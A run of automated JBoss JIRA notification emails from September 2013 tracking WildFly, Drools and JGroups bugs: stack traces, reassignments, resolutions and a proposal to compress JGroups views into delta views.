References: <JIRA.12500492.1378898715000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500492.1378898715000.26949.1379319604058@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2076?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun reassigned WFLY-2076:
---------------------------------

    Assignee: Darran Lofthouse  (was: Heiko Braun)

    
> SSL configuration leads to 500 Error Page
> -----------------------------------------
>
>                 Key: WFLY-2076
>                 URL: https://issues.jboss.org/browse/WFLY-2076
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 04:29:04 2013
From: jira-events at lists.jboss.org (Peter Skopek (JIRA))
Date: Mon, 16 Sep 2013 04:29:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2077) Picketlink module
 org.picketlink is mising for 2.5.1 upgrade
In-Reply-To: <JIRA.12500746.1379320088380@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500746.1379320088380@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500746.1379320088380.26982.1379320144336@jira02.app.mwc.hst.phx2.redhat.com>

Peter Skopek created WFLY-2077:
----------------------------------

             Summary: Picketlink module org.picketlink is mising for 2.5.1 upgrade
                 Key: WFLY-2077
                 URL: https://issues.jboss.org/browse/WFLY-2077
             Project: WildFly
          Issue Type: Bug
          Components: Build System
    Affects Versions: 8.0.0.Beta1
            Reporter: Peter Skopek
            Assignee: Peter Skopek




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 04:29:04 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Mon, 16 Sep 2013 04:29:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.26985.1379320144557@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-196:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 04:29:05 2013
From: jira-events at lists.jboss.org (Peter Skopek (JIRA))
Date: Mon, 16 Sep 2013 04:29:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2019) Upgrade PicketLink to
	2.5.1.Final
In-Reply-To: <JIRA.12500198.1378464071000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500198.1378464071000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500198.1378464071000.26995.1379320145326@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2019?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Peter Skopek updated WFLY-2019:
-------------------------------

    Fix Version/s: 8.0.0.Beta1

    
> Upgrade PicketLink to 2.5.1.Final
> ---------------------------------
>
>                 Key: WFLY-2019
>                 URL: https://issues.jboss.org/browse/WFLY-2019
>             Project: WildFly
>          Issue Type: Component  Upgrade
>          Components: Security
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Peter Skopek
>            Assignee: Peter Skopek
>             Fix For: 8.0.0.Beta1
>
>
> Upgrade to the latest released PicketLink 2.5.1.Final

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 04:37:03 2013
From: jira-events at lists.jboss.org (Peter Skopek (JIRA))
Date: Mon, 16 Sep 2013 04:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2077) Picketlink module
 org.picketlink is missing for 2.5.1 upgrade
In-Reply-To: <JIRA.12500746.1379320088000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500746.1379320088000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500746.1379320088000.27025.1379320623913@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2077?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Peter Skopek updated WFLY-2077:
-------------------------------

    Summary: Picketlink module org.picketlink is missing for 2.5.1 upgrade  (was: Picketlink module org.picketlink is mising for 2.5.1 upgrade)

    
> Picketlink module org.picketlink is missing for 2.5.1 upgrade
> -------------------------------------------------------------
>
>                 Key: WFLY-2077
>                 URL: https://issues.jboss.org/browse/WFLY-2077
>             Project: WildFly
>          Issue Type: Bug
>          Components: Build System
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Peter Skopek
>            Assignee: Peter Skopek
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 04:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 04:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.27035.1379320984096@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804388#comment-12804388 ] 

RH Bugzilla Integration commented on DROOLS-196:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> made a comment on [bug 986479|https://bugzilla.redhat.com/show_bug.cgi?id=986479]

Fixed by https://github.com/droolsjbpm/drools/commit/d5c18138bba7106af8d3fd2448d89fee807dd389#L2L1233
                
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 04:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 04:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.27042.1379320984415@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804389#comment-12804389 ] 

RH Bugzilla Integration commented on DROOLS-196:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> changed the Status of [bug 986479|https://bugzilla.redhat.com/show_bug.cgi?id=986479] from ASSIGNED to MODIFIED
                
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 04:43:04 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Mon, 16 Sep 2013 04:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.27046.1379320984566@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco resolved DROOLS-196.
--------------------------------

    Resolution: Done

    
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 05:07:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 16 Sep 2013 05:07:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1695) TUNNEL cannot work without
	PING
In-Reply-To: <JIRA.12500743.1379317768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500743.1379317768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500743.1379317768000.27073.1379322423959@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1695?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1695:
---------------------------

    Fix Version/s: 3.4
         Priority: Minor  (was: Major)
      Environment: JGroups 3.4.0.Alpha2  (was: Jgroups 3.4.0.Alpha2)

    
> TUNNEL cannot work without PING
> -------------------------------
>
>                 Key: JGRP-1695
>                 URL: https://issues.jboss.org/browse/JGRP-1695
>             Project: JGroups
>          Issue Type: Bug
>         Environment: JGroups 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>            Priority: Minor
>             Fix For: 3.4
>
>
> when I used following config:
> <TUNNEL gossip_router_hosts="192.168.2.108[8888]" />
> <FILE_PING/>
> The cluster were not found each other. (The same as any Discovery which not be PING). But if used <PING/> that would be ok.
> Is the TUNNEL just only support <PING/> ?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 05:09:03 2013
From: jira-events at lists.jboss.org (Joe Wertz (JIRA))
Date: Mon, 16 Sep 2013 05:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2078) SPNEGOLoginModuleTestCase
 deployment failure error
In-Reply-To: <JIRA.12500748.1379322503619@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500748.1379322503619@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500748.1379322503619.27076.1379322543605@jira02.app.mwc.hst.phx2.redhat.com>

Joe Wertz created WFLY-2078:
-------------------------------

             Summary: SPNEGOLoginModuleTestCase deployment failure error
                 Key: WFLY-2078
                 URL: https://issues.jboss.org/browse/WFLY-2078
             Project: WildFly
          Issue Type: Feature Request
          Components: Test Suite
    Affects Versions: 8.0.0.Alpha4
            Reporter: Joe Wertz
            Assignee: Joe Wertz
            Priority: Minor


The error is caused by a failure in the GSSTestServer getting a connection back to the localhost. I get the wrong IP from the InetAddress.getLocalHost(). 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 05:11:04 2013
From: jira-events at lists.jboss.org (Joe Wertz (JIRA))
Date: Mon, 16 Sep 2013 05:11:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2078) SPNEGOLoginModuleTestCase
 deployment failure error
In-Reply-To: <JIRA.12500748.1379322503000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500748.1379322503000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500748.1379322503000.27087.1379322664152@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2078?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804401#comment-12804401 ] 

Joe Wertz commented on WFLY-2078:
---------------------------------

It appears the InetAddress.getLocalHost() call has had problems for a number of years. It's unreliable and the old Sun advice from around 2006 is simply not to use it. The call does a reverse-lookup based on the hostname to find the IP address, which can cause problems.

The issue can be fixed by deliberately getting the loopback address instead of attempting to acquire the localhost IP. Using InetAddress.getLoopbackAddress() solves the problem.
                
> SPNEGOLoginModuleTestCase deployment failure error
> --------------------------------------------------
>
>                 Key: WFLY-2078
>                 URL: https://issues.jboss.org/browse/WFLY-2078
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Joe Wertz
>            Assignee: Joe Wertz
>            Priority: Minor
>
> The error is caused by a failure in the GSSTestServer getting a connection back to the localhost. I get the wrong IP from the InetAddress.getLocalHost(). 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 05:15:05 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Mon, 16 Sep 2013 05:15:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2078) SPNEGOLoginModuleTestCase
 deployment failure error
In-Reply-To: <JIRA.12500748.1379322503000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500748.1379322503000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500748.1379322503000.27091.1379322905237@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2078?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-2078:
------------------------------

    Issue Type: Bug  (was: Feature Request)

    
> SPNEGOLoginModuleTestCase deployment failure error
> --------------------------------------------------
>
>                 Key: WFLY-2078
>                 URL: https://issues.jboss.org/browse/WFLY-2078
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Joe Wertz
>            Assignee: Joe Wertz
>            Priority: Minor
>
> The error is caused by a failure in the GSSTestServer getting a connection back to the localhost. I get the wrong IP from the InetAddress.getLocalHost(). 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 05:35:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Mon, 16 Sep 2013 05:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.27119.1379324103712@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-197:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 05:35:04 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Mon, 16 Sep 2013 05:35:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.27124.1379324104020@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco resolved DROOLS-197.
--------------------------------

    Resolution: Cannot Reproduce Bug

    
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 05:35:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 05:35:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.27129.1379324104293@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804410#comment-12804410 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> made a comment on [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483]

I tried Marek's test project against both the patch and 5.3.x snapshot, but I couldn't reproduce this problem.
                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 07:08:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 16 Sep 2013 07:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.27269.1379329683578@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804439#comment-12804439 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> made a comment on [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483]

Sorry, I can actually reproduce this problem. I just didn't realize that the provide test case doesn't fail but just logs the exception stack trace. Investigating ...
                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mario Fusco
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep 16 07:12:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Mon, 16 Sep 2013 07:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1354) Compress views
In-Reply-To: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444903.1313572136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444903.1313572136000.27272.1379329923518@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1354?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804440#comment-12804440 ] 

Bela Ban commented on JGRP-1354:
--------------------------------

The size of a DeltaView with 1000 members and 2 new joiners and 2 left members) is 110 bytes. This is the new ViewId, the ref ViewId, and the size of 4 members (17 bytes each).
The marshalled size of a DeltaView is not a function of the view size, but a function of the number of left and joined members.
                
> Compress views
> --------------
>
>                 Key: JGRP-1354
>                 URL: https://issues.jboss.org/browse/JGRP-1354
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In clusters with many members, a view can be large. Currently, when a new member joins, or an existing member leaves, the coordinator sends a view to all existing members and a JoinRsp to the new joiner(s).
> The view currently contains *all members*, and the serialized VIEW message can be large.
> The goal of this JIRA is therefore to reduce the size of the VIEW message sent to all members.
> This can be done by:
> * Sending the first view of a given coordinator as full view
> * Sending subsequent views only as diffs (delta views)
> ** A delta view contains a view-id (can possibly be omitted), which is the previous view, and an array of members which left and members which joined
> * When unmarshalling a delta-view, the receiver can create the new view as a copy of the old view, minus the left members, plus the joining members
